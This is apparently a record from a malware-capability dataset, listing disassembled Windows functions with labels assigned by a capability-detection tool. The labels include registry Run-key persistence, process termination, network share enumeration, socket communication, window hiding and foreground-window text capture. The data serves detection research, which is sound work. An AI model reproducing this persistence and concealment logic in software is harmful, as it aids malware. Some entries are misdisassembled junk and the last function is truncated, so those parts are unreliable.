joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405b98
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403a84
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x405ca8
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0x130]
mov eax, dword [ebp - 4]
call fcn.004053d4
mov edx, dword [ebp - 0x130]
lea eax, [ebp - 4]
call fcn.004037b4
xor edx, edx
mov eax, 2
call fcn.00405144
mov esi, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, esi
call fcn.00405164
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x405c78
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.0040387c
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.004053d4
mov eax, dword [ebp - 0x134]
mov edx, dword [ebp - 4]
call fcn.004039e0
jne 0x405c69
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb ebx, ebx
inc ebx
mov edx, edi
mov eax, esi
call fcn.00405184
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x405c1a
push esi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405caf
lea eax, [ebp - 0x138]
mov edx, 3
call fcn.00403740
lea eax, [ebp - 4]
call fcn.0040371c
ret
Function at 0x406108
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406195
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
call sub.kernel32.dll_GetLastError_1
test eax, eax
jne 0x406173
test ebx, ebx
je 0x406173
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, esi
call fcn.0040384c
jmp 0x40617a
mov eax, esi
call fcn.0040371c
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40619c
lea eax, [ebp - 4]
call fcn.0040371c
ret

Function at 0x4064b4
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor edx, edx
mov dword [ebp - 0x1c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x406514
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x15]
push eax
call sub.kernel32.dll_GetComputerNameA
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0x15]
mov ecx, 0x11
call fcn.0040387c
mov eax, dword [ebp - 0x1c]
mov edx, ebx
call fcn.00405398
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40651b
lea eax, [ebp - 0x1c]
call fcn.0040371c
ret

Function at 0x406520
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40659f
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.0040387c
lea eax, [ebp - 0x10c]
mov edx, 0x4065b4
call fcn.0040389c
mov eax, dword [ebp - 0x10c]
mov edx, ebx
call fcn.004053d4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4065a6
lea eax, [ebp - 0x10c]
call fcn.0040371c
ret
Function at 0x4066bc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x40675f
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
push 0x4166c0
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [0x4166c4], eax
mov dword [ebp - 0x10], 4
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00403a94
push eax
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov dword [0x4166c4], eax
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406766
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret

Function at 0x406770
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406834
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4166c0
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [0x4166c4], eax
mov eax, ebx
mov edx, dword [ebp + 0xc]
call fcn.00403bc4
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebx]
push eax
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403a94
push eax
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov dword [0x4166c4], eax
cmp dword [0x4166c4], 0
jne 0x406807
mov eax, dword [ebx]
call fcn.00403a94
mov edx, eax
mov eax, ebx
call fcn.0040384c
jmp 0x40680e
mov eax, ebx
call fcn.0040371c
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40683b
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret
Function at 0x406844
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
mov eax, dword [ebp + 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406918
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x4166c0
push 0
push 2
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegCreateKeyExA
mov dword [0x4166c4], eax
cmp dword [ebp + 8], 0
jne 0x4068b1
lea eax, [ebp + 8]
mov edx, 0x406930
call fcn.004037b4
mov eax, dword [ebp + 8]
call fcn.00403894
push eax
lea eax, [ebp + 8]
call fcn.00403aec
push eax
push 1
push 0
mov eax, dword [ebp - 8]
call fcn.00403a94
push eax
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegSetValueExA
mov dword [0x4166c4], eax
cmp dword [0x4166c4], 0
sete bl
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40691f
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
lea eax, [ebp + 8]
call fcn.0040371c
ret

Function at 0x406934
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x4069d9
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x4166c0
push 0
push 2
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegCreateKeyExA
mov dword [0x4166c4], eax
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
mov eax, dword [ebp - 8]
call fcn.00403a94
push eax
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegSetValueExA
mov dword [0x4166c4], eax
cmp dword [0x4166c4], 0
sete bl
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4069e0
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret

Function at 0x4069ec
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406a6e
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, 0x406a84
call fcn.00405830
test al, al
jne 0x406a58
mov eax, dword [ebp - 4]
call fcn.00403a94
mov ebx, eax
push ebx
push esi
call sub.advapi32.dll_RegDeleteKeyA
push 0
push 0x4166c0
push 0
push 6
push 2
push 0
push 0
push ebx
push esi
call sub.advapi32.dll_RegCreateKeyExA
test eax, eax
sete al
mov ebx, eax
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406a75
lea eax, [ebp - 4]
call fcn.0040371c
ret
Function at 0x406b18
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406ba7
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
jne 0x406b58
lea eax, [ebp - 8]
mov edx, 0x406bc0
call fcn.004037b4
mov eax, dword [ebp - 8]
call fcn.00403894
push eax
lea eax, [ebp - 8]
call fcn.00403aec
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegSetValueExA
mov dword [0x4166c4], eax
cmp dword [0x4166c4], 0
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406bae
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret

Function at 0x406bc4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406c27
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegSetValueExA
mov dword [0x4166c4], eax
cmp dword [0x4166c4], 0
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406c2e
lea eax, [ebp - 4]
call fcn.0040371c
ret

Function at 0x406c38
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x406cce
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4166c0
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [0x4166c4], eax
mov eax, dword [ebp - 8]
call fcn.00403a94
push eax
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov dword [0x4166c4], eax
cmp dword [0x4166c4], 0
sete bl
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406cd5
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret
Function at 0x4070f0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x40734e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x416b14
mov edx, 0x407364
call fcn.00403770
lea eax, [ebp - 4]
mov ecx, 0x4073d0
mov edx, dword [0x416adc]
call fcn.004038e0
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x4073e4
mov edx, 0x4073f4
mov eax, 0x80000002
call fcn.00406844
mov ecx, 0x4073d0
lea eax, [ebp - 8]
mov edx, dword [0x416adc]
call fcn.004038e0
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x4073e4
mov edx, 0x40742c
mov eax, 0x80000001
call fcn.00406844
mov ecx, 0x4073d0
lea eax, [ebp - 0xc]
mov edx, dword [0x416adc]
call fcn.004038e0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, 0x4073e4
mov edx, 0x407474
mov eax, 0x80000002
call fcn.00406844
lea eax, [ebp - 0x10]
mov ecx, 0x4074b4
mov edx, dword [0x416adc]
call fcn.004038e0
mov eax, dword [ebp - 0x10]
push eax
mov edx, 0x4073f4
mov ecx, 0x4074c8
mov eax, 0x80000001
call fcn.00406844
lea eax, [ebp - 0x14]
mov ecx, 0x4074d8
mov edx, dword [0x416adc]
call fcn.004038e0
mov eax, dword [ebp - 0x14]
push eax
mov edx, 0x40742c
mov ecx, 0x4074ec
mov eax, 0x80000002
call fcn.00406844
mov eax, 0x416b14
mov edx, 0x4074fc
call fcn.00403770
cmp byte [0x416b4c], 0
jne 0x407333
push 0
mov ecx, 0x407560
mov edx, 0x407578
mov eax, 0x80000002
call fcn.00406844
push 0x4075ac
mov edx, 0x407578
mov ecx, 0x4075bc
mov eax, 0x80000002
call fcn.00406844
push 0x4075d4
mov edx, 0x407578
mov ecx, 0x407600
mov eax, 0x80000002
call fcn.00406844
push 0x407614
mov edx, 0x407578
mov ecx, 0x407630
mov eax, 0x80000002
call fcn.00406844
push 0x407644
mov edx, 0x407578
mov ecx, 0x407658
mov eax, 0x80000002
call fcn.00406844
push 0x407668
mov edx, 0x407578
mov ecx, 0x40767c
mov eax, 0x80000002
call fcn.00406844
mov ecx, 0x4073d0
lea eax, [ebp - 0x18]
mov edx, dword [0x416adc]
call fcn.004038e0
mov eax, dword [ebp - 0x18]
push eax
mov edx, 0x407578
mov ecx, 0x407690
mov eax, 0x80000002
call fcn.00406844
push 1
mov edx, 0x407578
mov ecx, 0x4076a4
mov eax, 0x80000002
call fcn.00406934
push 3
mov edx, 0x407578
mov ecx, 0x4076bc
mov eax, 0x80000002
call fcn.00406934
push 2
mov edx, 0x407578
mov ecx, 0x4076d8
mov eax, 0x80000002
call fcn.00406934
push 0x120
mov edx, 0x407578
mov ecx, 0x4076e8
mov eax, 0x80000002
call fcn.00406934
mov eax, 0x416b14
mov edx, 0x4076f8
call fcn.00403770
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407355
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.00403740
ret
Function at 0x408231
Capabilities:
Get disk information
Get disk size
Get keyboard layout

Disassembly:
xchg edx, eax
inc eax
add al, ch
cmpsd dword [esi], dword es:[edi]
mov dh, 0xff
dec dword [ebx + 0x53e8e045]
mov eax, 0xf08bffff
mov esi, eax

Function at 0x408241
Capabilities:
Get disk information
Get disk size
Get keyboard layout

Disassembly:
xchg edx, eax
inc eax
add al, ch
cmpsd dword [esi], dword es:[edi]
mov dh, 0xff
dec dword [ebx + 0x53e8e045]
mov eax, 0xf08bffff
mov esi, eax

Function at 0x409d34
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x1c
push 0
push 0
dec ecx
jne 0x409d3c
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403a84
mov esi, 0x416b78
xor eax, eax
push ebp
push 0x40ad15
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x416b14
mov edx, 0x40ad2c
call fcn.00403770
call fcn.0040799c
mov eax, dword [ebp - 8]
call fcn.0040371c
lea eax, [ebp - 0x24]
call fcn.0040371c
lea eax, [ebp - 0x28]
call fcn.0040371c
xor eax, eax
mov dword [0x416b6c], eax
xor eax, eax
mov dword [0x416b70], eax
mov byte [esi], 0
mov byte [esi + 0x7fff9], 0
xor eax, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
call fcn.00403894
cmp eax, 0x7f
jge 0x409de1
push 0
lea eax, [ebp - 0xc0]
push eax
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
call sub.kernel32.dll_OpenFile
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
sete al
jmp 0x409e0b
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.00403a94
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
sete al
test al, al
je 0x409e94
call sub.kernel32.dll_GetLastError_1
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
sub eax, 2
je 0x409e44
sub eax, 3
je 0x409e44
sub eax, 0x1b
je 0x409e44
sub eax, 0x15
je 0x409e44
sub eax, 0x46
je 0x409e44
cmp dword [ebp - 0x10], 0x4cf
je 0x409e44
xor eax, eax
jmp 0x409e46
mov al, 1
test al, al
jne 0x409e86
push 0x40ad90
push dword [ebp - 4]
push 0x40ada4
lea edx, [ebp - 0xc8]
mov eax, dword [ebp - 0x10]
call fcn.00406240
push dword [ebp - 0xc8]
lea eax, [ebp - 0xc4]
mov edx, 4
call fcn.00403954
mov eax, dword [ebp - 0xc4]
call fcn.0041367c
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x40ace2
mov eax, 0x416b14
mov edx, 0x40adb0
call fcn.00403770
jmp 0x40ac1a
Function at 0x40bde4
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x40bdec
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x40c023
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x416b14
mov edx, 0x40c03c
call fcn.00403770
lea eax, [ebp - 4]
push eax
push ebx
push 0x13
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x40c008
mov dword [ebp - 0xc], 0x7e0
mov eax, dword [ebp - 0xc]
call fcn.004024d0
mov esi, eax
mov eax, esi
xor ecx, ecx
mov edx, dword [ebp - 0xc]
call fcn.00402bd8
mov dword [ebp - 8], 0x3f
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
je 0x40be72
cmp eax, 0xea
jne 0x40bfe2
mov eax, dword [ebp - 8]
dec eax
test eax, eax
jl 0x40be4a
inc eax
mov dword [ebp - 0x10], eax
xor ebx, ebx
mov edi, ebx
shl edi, 2
test byte [esi + edi*8 + 0xc], 2
je 0x40be94
lea eax, [esi + edi*8]
call fcn.0040bde4
cmp dword [esi + edi*8 + 8], 3
jne 0x40bfd3
lea eax, [ebp - 0x14]
mov edx, dword [esi + edi*8 + 0x14]
call fcn.0040384c
mov edx, dword [ebp - 0x14]
mov eax, 0x416afc
mov ecx, 0x40c0b0
call fcn.004038e0
inc dword [0x416b34]
mov eax, 0x416b14
mov edx, 0x40c0bc
call fcn.00403770
mov eax, dword [0x416b34]
cmp eax, dword [0x416b38]
jl 0x40bfd3
mov eax, dword [0x416b34]
push eax
mov ecx, 0x40c11c
mov edx, 0x40c12c
mov eax, 0x80000002
call fcn.00406934
mov eax, dword [0x416afc]
push eax
mov edx, 0x40c12c
mov ecx, 0x40c174
mov eax, 0x80000002
call fcn.00406844
xor eax, eax
mov dword [0x416b30], eax
mov word [0x41513c], 0
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [0x416ad8]
call fcn.00403894
mov ecx, eax
mov edx, 3
mov eax, dword [0x416afc]
call fcn.00403af4
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.00405398
mov eax, dword [ebp - 0x18]
mov edx, dword [0x416ad8]
call fcn.004039e0
jne 0x40bf7e
lea eax, [ebp - 0x20]
mov ecx, dword [0x416afc]
mov edx, 0x40c184
call fcn.004038e0
mov eax, dword [ebp - 0x20]
call fcn.0041367c
jmp 0x40bfa3
mov eax, dword [0x416afc]
call fcn.0040b548
lea eax, [ebp - 0x24]
mov ecx, dword [0x416afc]
mov edx, 0x40c198
call fcn.004038e0
mov eax, dword [ebp - 0x24]
call fcn.0041367c
mov eax, 0x416b14
mov edx, 0x40c1a8
call fcn.00403770
xor eax, eax
mov dword [0x416b2c], eax
mov eax, dword [0x416b2c]
push eax
mov edx, 0x40c12c
mov ecx, 0x40c204
mov eax, 0x80000002
call fcn.00406934
inc ebx
dec dword [ebp - 0x10]
jne 0x40be80
jmp 0x40be4a
mov eax, esi
call fcn.004024f0
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
je 0x40c008
lea edx, [ebp - 0x28]
xor eax, eax
call fcn.00406240
mov eax, dword [ebp - 0x28]
call fcn.0041367c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c02a
lea eax, [ebp - 0x28]
mov edx, 6
call fcn.00403740
ret
Function at 0x40c508
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x40c6af
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x416b14
mov edx, 0x40c6c8
call fcn.00403770
mov eax, dword [ebp - 4]
call fcn.00403894
test eax, eax
jle 0x40c5a1
lea eax, [ebp - 4]
mov edx, 0x40c730
call fcn.0040389c
push 0
mov eax, dword [ebp - 4]
call fcn.00403894
push eax
lea eax, [ebp - 4]
call fcn.00403aec
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_send
mov edi, eax
test bl, bl
jne 0x40c5a1
mov edx, esi
mov eax, edi
call fcn.00405350
jmp 0x40c689
lea eax, [ebp - 0x108]
xor ecx, ecx
mov edx, 0xff
call fcn.00402bd8
push 0
push 0xff
lea eax, [ebp - 0x108]
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_recv
mov edi, eax
inc edi
je 0x40c67d
mov eax, esi
lea edx, [ebp - 0x108]
mov ecx, pe_nt_image_headers32
call fcn.0040387c
mov eax, dword [ebp - 8]
call fcn.00403894
cmp eax, 3
jne 0x40c689
mov eax, dword [ebp - 8]
mov al, byte [eax]
cmp al, byte [ebp - 0x108]
jne 0x40c622
mov eax, dword [ebp - 8]
mov al, byte [eax + 1]
cmp al, byte [ebp - 0x107]
jne 0x40c622
mov eax, dword [ebp - 8]
mov al, byte [eax + 2]
cmp al, byte [ebp - 0x106]
je 0x40c689
push 0x40c73c
push dword [ebp - 4]
push 0x40c750
push dword [ebp - 8]
push 0x40c764
push 0x40c730
push dword [esi]
push 0x40c730
push dword [0x496b74]
lea eax, [ebp - 0x10c]
mov edx, 9
call fcn.00403954
mov eax, dword [ebp - 0x10c]
call fcn.0041367c
mov eax, dword [ebp + 0xc]
add eax, 0xfffffffc
call fcn.00406230
mov eax, esi
mov edx, 0x40c770
call fcn.00403770
jmp 0x40c689
mov eax, esi
mov edx, 0x40c770
call fcn.00403770
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c6b6
lea eax, [ebp - 0x10c]
call fcn.0040371c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret
Function at 0x40cfd0
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0
push 0x40d010
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
push 0
push 0
push 0x40d01c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
push 0
push 0
push 0x40d03c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x40dac0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40db65
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x416b14
mov edx, 0x40db7c
call fcn.00403770
push 0xfa
lea eax, [ebp - 0x104]
push eax
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 4]
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.0040387c
mov edx, dword [ebp - 4]
mov eax, 0x40dbd4
call fcn.00403b7c
test eax, eax
jne 0x40db4d
mov edx, dword [ebp - 4]
mov eax, 0x40dbe4
call fcn.00403b7c
test eax, eax
jne 0x40db4d
mov edx, dword [ebp - 4]
mov eax, 0x40dbf8
call fcn.00403b7c
test eax, eax
jne 0x40db4d
xor ebx, ebx
jmp 0x40db4f
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40db6c
lea eax, [ebp - 4]
call fcn.0040371c
ret

Function at 0x40dc08
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x40dc10
push ecx
push ebx
push esi
xor eax, eax
push ebp
push 0x40df0e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x416b14
mov edx, 0x40df28
call fcn.00403770
mov byte [ebp - 1], 0
push 1
push 0
push 0
lea eax, [ebp - 0x14]
mov ecx, dword [0x416af0]
mov edx, 0x40df60
call fcn.004038e0
mov eax, dword [ebp - 0x14]
call fcn.00403a94
push eax
push 0x40df68
push 0
call sub.shell32.dll_ShellExecuteA
mov ebx, eax
cmp ebx, 0x20
jae 0x40dcad
push 0x40df78
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.00405370
push dword [ebp - 0x1c]
push 0x40df8c
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.00406240
push dword [ebp - 0x20]
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
mov eax, dword [ebp - 0x18]
call fcn.0041367c
xor ebx, ebx
call fcn.0040dac0
test al, al
jne 0x40dcc8
inc ebx
push 0x258
call sub.kernel32.dll_Sleep
cmp bl, 0xa
jb 0x40dcaf
xor esi, esi
cmp bl, 0xa
jb 0x40dd48
push 0
push 0x40df90
inc eax
add al, ch
fldcw word [ebx - 1]
dec dword [ebx + 0x75f685f0]
push cs